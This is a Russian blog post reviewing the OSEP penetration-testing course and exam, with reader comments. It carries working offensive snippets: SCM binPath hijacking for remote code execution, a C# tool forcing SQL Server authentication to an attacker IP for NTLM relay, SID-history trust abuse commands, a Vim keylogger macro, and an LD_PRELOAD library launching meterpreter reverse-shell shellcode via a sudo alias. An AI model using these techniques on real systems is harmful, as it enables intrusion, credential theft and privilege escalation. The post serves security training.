
Привет, Хабр!
Относительно недавно (в масштабах вечности) я сдал экзамен Offensive Security Experienced Penetration Tester в рамках курса PEN-300 от Offensive Security.
В этой публикации я постараюсь рассказать о том, что это за сертификация, как проходит экзамен, как устроены лабы, и какие навыки можно приобрести по окончании обучения. По тексту я буду приводить много ссылок на внешние ресурсы, освещающие темы, о которых говорится в курсе — для того, чтобы читатель смог оценить, готов ли он к началу обучения, или стоит еще покачать скил в области тестирования на проникновение.
Пошли под кат.
OSEP и правда сильно отличается от своего предшественника — сертификации OSCP, о которой не писал только ленивый, во всех аспектах: от структуры методички и устройства лабораторных до финального экзамена. Для себя я выделил пять основных тем, повторение / более глубокое изучение которых было для меня наиболее полезным из всего курса:
Разбор техник уклонения от средств защиты (AV/EDR).
Абьюз окружения среды AD для горизонтального перемещения.
Взаимодействие с инстансами MS SQL Server для развития атак на домен.
Атаки на трасты AD.
Постэксплуатация по части Linux-машин.
Чтобы сильно не спойлерить содержание методички (объем которой более 700 стр., к слову), я своими словами кратко расскажу о том, что мне понравилось в каждой обозначенной теме.
Примечание
Материал для этой статьи пролежал в черновиках почти год, поэтому допускаю, что содержание курса с тех пор могло измениться, и я не описал чего-то такого, о чем стоило бы обязательно упомянуть.
Разбор базовых техник уклонения от средств защиты
Сразу хочется отметить, что практически в каждом разделе обучения активно используется язык C#, уже давно являющийся неофициальным стандартом «де-факто» для разработки наступательного вооружения.
Причин тому несколько: во-первых, несмотря на управляемый CRL-код, в который генерятся бинари C#, из него очень удобно «дергать» ручки Windows API для триггера вредоносной нагрузки.
Во-вторых, нативная интеграция этого языка с ОС Windows позволяет выполнять собранные программы из памяти с помощью механизма Reflection.Assembly, что очень усложняет жизнь антивирусам и прочему «нехорошему» софту в контексте пресечения нежелательной по его мнению активности (см. metasploit-execute-assembly, In-memory .NET Assembly Execution и т. д.).
В-третьих, большая фанбаза этого языка из сильных спецов по наступательной безопасности обеспечивает его самыми разными плюшками для L33T-разработки малвари.
Тут вам и:
прямые системные вызовы в обход хуков Win32 API и Native API с помощью D/Invoke;
.exportуправляемого кода для запуска DLL через неуправляему среду (aka rundll32.exe) с помощью DllExport;крутые библиотеки для API-хукинга и генерации BOF-ов;
целое множество готовых коллекций и методов для запуска скомпилированных эксзешников из других средств и сред.
Тривиальный пример (не из курса) для получения «метера» без алертов от AV в 15 строк (не считая шеллкода) через мощнейший механизм GetDelegateForFunctionPointer показывает всю гибкость этого языка, местами не уступающую этим вашим C++.



Не C# едины
Существуют и другие языки, такие как Boolang и Nim, которые так удобно использовать при проведении пентестов. Но в курсе PEN-300 об этом, к сожалению, не рассказывается.
Однако, как будет упомянуто ниже, никто не запрещает гуглить и развиваться параллельно с курсом. Пример тому — моя PoC-реализация техники Process Hollowing на Nim.
Дополнительно оговорюсь, что курс не предлагает зиродей техник для байпаса аверов, но, получив знание базовых методов и наметив примерный вектор развития, можно по традиции разресерчить интересующую вас тему более глубоко самостоятельно.
Безфайловые передвижения в AD
Тема эксплуатации Active Directory проходит красной линией через весь курс — одна из причин, почему он мне так зашел. Один простой пример крафта легитимной программы для бокового продвижения ниже.
Все знают о замечательном PsExec из состава Sysinternals, флаггинг которого со стороны AV уже считается хорошим тоном. То же самое касается и его младшего брата — psexec.py из Impacket.
Однако не все знают, что исполнить код на другой машине можно и без создания подозрительных служб с рандомным названием: просто измени binPath= редко используемого сервиса удаленно с помощью SCM на свой любимый загрузочный кредл, and u r good2go!
Для этого будет достаточно дернуть 5 вызовов из advapi32.dll. В синтаксисе P/Invoke это выглядит примерно так:
// Для получения хэндла SCM
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
// Для получения хэндла целевой службы
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
// Для запроса информации о текущем бинаре службы (для его последующего восстановления)
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);
// Для изменения текущего бинаря службы
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);
// Для запуска службы
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
PoC
За работающим Proof-of-Concept-ом можно сходить на мой GitBook.
Таким образом можно получить RCE от имени системы на машине-жертве. Хорошие кандидаты служб, по умолчанию запускаемых вручную, изменение которых не скажется на работе сотрудников Заказчика (вендоры EDR, записываем):
XblAuthManager– диспетчер проверки подлинности Xbox Live, даст шелл от имени LocalSystem.SensorService– служба датчиков, даст шелл от имени LocalSystem.BTAGService– служба звукового шлюза Bluetooth, даст шелл от имени LocalService.lfsvc– служба географического положения, даст шелл от имени LocalSystem.
Все, что рассказывается в OSEP, тем или иным образом уже исследовано специалистами ИБ, и эта техника не исключение. Для лучшего понимания ее вооружения рекомендуется изучить проекты SharpNoPSExec и SCShell.
Взаимодействие с MS SQL
В дефолтной настройке MS SQL Server до ревизии 2019 любая доменная учетка с public-ролью может вызвать SSRF ограниченного действия для провоцирования коэрцитивной аутентификации на машине по выбору атакующего. Это широко известно в народе как UNC Path Injection.
Если в инфраструктуре нет жесткой фильтрации трафика по 445-м портам, можно пустить собак на поиск узлов, где целевая УЗ SQL потенциально может являться локальным админом, и зарелеить туда NTLM2 response от пришедшей аутентификации. Ок, ок, всем известно...
Раньше я пользовался для этих целей средствами PowerUpSQL, но в последнее время все чаще сталкиваешься с ситуациями, когда использование PowerShell сильно ограничено разными AMSI-ями и CLM-режимами. Куда менее трудозатратно, чем тестировать способы обхода этого добра в конкретной среде — скомпилировать простую программу на C# с единственным вызовом xp_dirtree / xp_fileexist и дальше радоваться своей беззаботной жизни.
// SQL.exe <SERVER_IP> <ATTACKER_IP>
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static void Main(string[] args)
{
string sqlServer = args[0];
string database = "master";
string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("[+] Auth success!");
}
catch
{
Console.WriteLine("[-] Auth failed :(");
Environment.Exit(0);
}
SqlCommand command = new SqlCommand($@"EXEC master..xp_dirtree '\\{args[1]}\pwn\pwn.txt';", con);
SqlDataReader reader = command.ExecuteReader();
reader.Close();
con.Close();
}
}
}
Возможно, это не самый показательный пример для демонстрации пользы от курса, т. к. эта техника давно известна широкой аудитории. Однако сам факт подхода к известным атакам с помощью кастомного кода хорошо характеризует OSEP.
Атаки на трасты AD
«Обратите внимание, что домен Active Directory не является границей безопасности; лес AD является» — Шон Меткалф (источник).
Здесь речь шла, в основном, о том, как эксплуатировать ExtraSids Hopping для захвата родительского домена из дочернего (или наоборот). В силу существования двустороннего доверия типа Parent-Child эта атака возможна «by design» и является скорее фичей, а не багом.
Атакующий крафтит Golden Ticket с помощью мимика или импакета и добавляет значение SID доверенной междоменной УЗ в свойство sIDHistory поля PAC билета Kerberos, получая таким образом «сфорженный» Inter-Realm TGT. Далее всю работу за нас выполнит контроллер домена и запросит вполне легитимный билет у доверяющего DC, который можно использовать для доступа к ресурсам последнего.
Однако не все так просто, когда нужно атаковать другой лес AD (Forest Trust), т. к. в этом случае фильтрация SID-ов активна по умолчанию и надурить контроллер уже не получится.
Одна из интересных возможностей для атаки — проверить, не находится ли доменная среда в условиях миграции ресурсов, другими словами, не могут ли пользователи доверяемого леса обращаться к ресурсам доверяющего леса (спойлер: в таком состоянии инфраструктура организации может находиться годами). В этом случае администратор доверяющего леса отключает механизм фильтрации SID-ов с помощью netdom, и FOREST_TRANSITIVE траст волшебным образом превращается в траст типа TREAT_AS_EXTERNAL.
netdom.exe trust forestB.net /d:forestA.net /enablesidhistory:yes
Это открывает интересные возможности для атакующего.
Учетные записи с RID-ом выше 1000 (т. е. не встроенные УЗ) по задумке «мелкомягких» не фильтруются при междоменной аутентификации с типом траста TREAT_AS_EXTERNAL. Это позволяет эффективно использовать классический ExtraSids Hopping, указывая значение такого SID-а в процессе изготовки тикета.
PowerView
Ищем потенциальные учетки для инжекта SID-а в группе forestB.net\Administrators с помощью PowerView и PowerView 3.0 соответственно:
Get-NetGroupMember -GroupName "Administrators" -Domain -Domain forestB.net
Get-DomainGroupMember -Identity "Administrators" -Domain forestB.net
Другой особенностью, на которую также нужно обращать внимание — членство УЗ, SID которой мы инжектим в тикет, в глобальных доменных группах (таких как Enterprise Admins и Domain Admins). На такие УЗ механизм SID Filtering распространяется даже при доверии TREAT_AS_EXTERNAL и атака не увенчается успехом.
Визуализация трастов
Замечательный инструмент для графического представления доверительных отношений в доменной среде с помощью yEd Graph Editor — это TrustVisualizer от @HarmJ0y или мой форк этого инструмента, переписанный на Python 3 с распознаванием расширенного списка атрибутов доверия.
Целимся в Linux
Когда речь заходит об инфраструктурном пентесте, с высокой долей вероятности специалист окажется в гетерогенной среде, где присутствуют и Linux-машины в том числе. Для демонстрации реализации бизнес-рисков, скорее всего, придется искать путь на тачки с линуксами, ведь именно на них и разворачивают гитлабы, конфлюенсы, свифты, а там уже окажутся полезными знания, касающиеся постэксплуатации соответствующей ОС.
Для меня интересным кейсом стал пример создания простого кейлоггера с помощью VIM, когда у атакующего есть низкопривелигированный доступ на Linux-машину, и ему хотелось бы разжиться кредами в плейнтексте или содержимым защищенных для чтения файлов. Для этого Offensive Security предлагают использовать такой макрос:
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/tmp0x031337
:endif
Когда атакуемый пользователь полезет редактировать файлы с sudo, содержимое сохранится в /tmp/tmp0x031337.
Также не редкость ситуация, когда Linux-машина является частью домена AD. В этом случае полезно поохотиться за тикетами, сохраненными в формате KRB5CCACHE (в директории /tmp), а в случае привилегированного доступа к хосту — за файлами keytab (обычно находятся там же).
Не стоит пренебрегать и классической техникой хуков легитимных функций с помощью LD_PRELOAD. Например, посмотрим, какие функции вызываются в процессе запуска утилиты /usr/bin/cp.

Функция getuid выглядит как хороший кандидат для угона. С помощью следующей библиотеки можно форкнуть текущий процесс в момент исполнения getuid и подгрузить свой шеллкод:
// gcc -Wall -fPIC -z execstack -c -o evilgetuid.o evilgetuid.c
// gcc -shared -o evilgetuid.so evilgetuid.o -ldl
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] =
"\x31\x33...\x33\x37";
uid_t geteuid(void)
{
typeof(geteuid) *getuid_orig;
getuid_orig = dlsym(RTLD_NEXT, "geteuid");
if (fork() == 0) // if inside the forked process
{
setuid(0);
setgid(0);
printf("Function hooked!\n");
int bufsize = (int)sizeof(buf);
for (int i = 0; i < bufsize-1; i++) {
buf[i] = buf[i] ^ 'a';
}
intptr_t pagesize = sysconf(_SC_PAGESIZE);
if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {
perror("mprotect");
return -1;
}
int (*ret)() = (int(*)())buf;
ret();
}
else // if inside the original process
{
printf("Returning from original...\n");
return (*getuid_orig)();
}
printf("Returning from main...\n");
return -2;
}
После компиляции достаточно создать алиас для sudo, автоматически загружающий библиотеку по пути, заданному в переменной окружения, и дождаться запуска утилиты cp пользователем-жертвой:
alias sudo="sudo LD_PRELOAD=/home/victim/evilgetuid.so"
Лабораторные и экзамен
Для каждого раздела методички существует тренировочная лаба, обычно представляющая из себя Windows-хост для разработки со всем необходимым ПО и хосты-жертвы, на которых подразумевается отработка описываемых техник.
По завершении методички, обучающемуся будет предложено выполнить 6 челленджей, каждый из которых представляет «инфраструктуру в миниатюре» (5 лаб из 6 — это доменная среда). Первые 3 лабы — затравочка для отработки изученных техник в боевых условиях, последние 3 — приближенные к экзамену задачи, над которыми придется повозиться.
На экзамене студенту будет предложена легенда вокруг компании, заказавшей проведение внешнего пентеста с проникновением во внутреннюю сеть. На борде для сдачи флагов, будет красоваться финальная цель — имя хоста, куда нужно получиться доступ для получения сокровенного флага secret.txt.
Есть два способа успешного сдачи экзамена:
Зарутать не менее 10 машин. За каждый пруф дается по 10 баллов. Для сдачи нужно 100.
Получить доступ к файлу
secret.txtна финальном сервере. В этом случае неважно, сколько хостов ты зарутал, экзамен все равно будет засчитан (я пошел этим путем).
На экзамене, в отличие от великого и ужасного OSCP можно пользоваться meterpreter-ом, SQLMap-ом и другими тулзами для автоэксплуатации. Запрет только на коммерческие инструменты.
Заключение
Я и правда очень доволен, что мне довелось пройти этот курс. OSEP следует классической схеме офенсивов "Try harder", и это не может не радовать, а главным достоинством курса я считаю искреннее желание авторов привить любовь обучающемуся в плане проведения собственных исследований в поиске новых техник из той или иной области тестирования на проникновение.
Комментарии (5)

bloodevil
04.07.2022 14:13Жаль, что статья актуальна только для старой версии экзамена.

snovvcrash Автор
04.07.2022 14:17+2Мы с коллегами, кто сдавал обновленную версию, пришли к выводу, что ни ход экзамена, ни его сложность не изменились ;-)
LeshaRB
А как вообще получилось сдать?
Хотел подготовиться к Java 17 , но Оркал, вообще тупо закрыли аккаунты пользователей из Беларуси и России
Ладно думаю, пойду монго поучу... Аккаунты рабочие, но сайт в некоторых местах работает через впн... И тоже ответили в поддержке возможности сдачи сейчас нет (
snovvcrash Автор
Сдавал осенью 2021 года, поэтому на тот момент ограничений не было.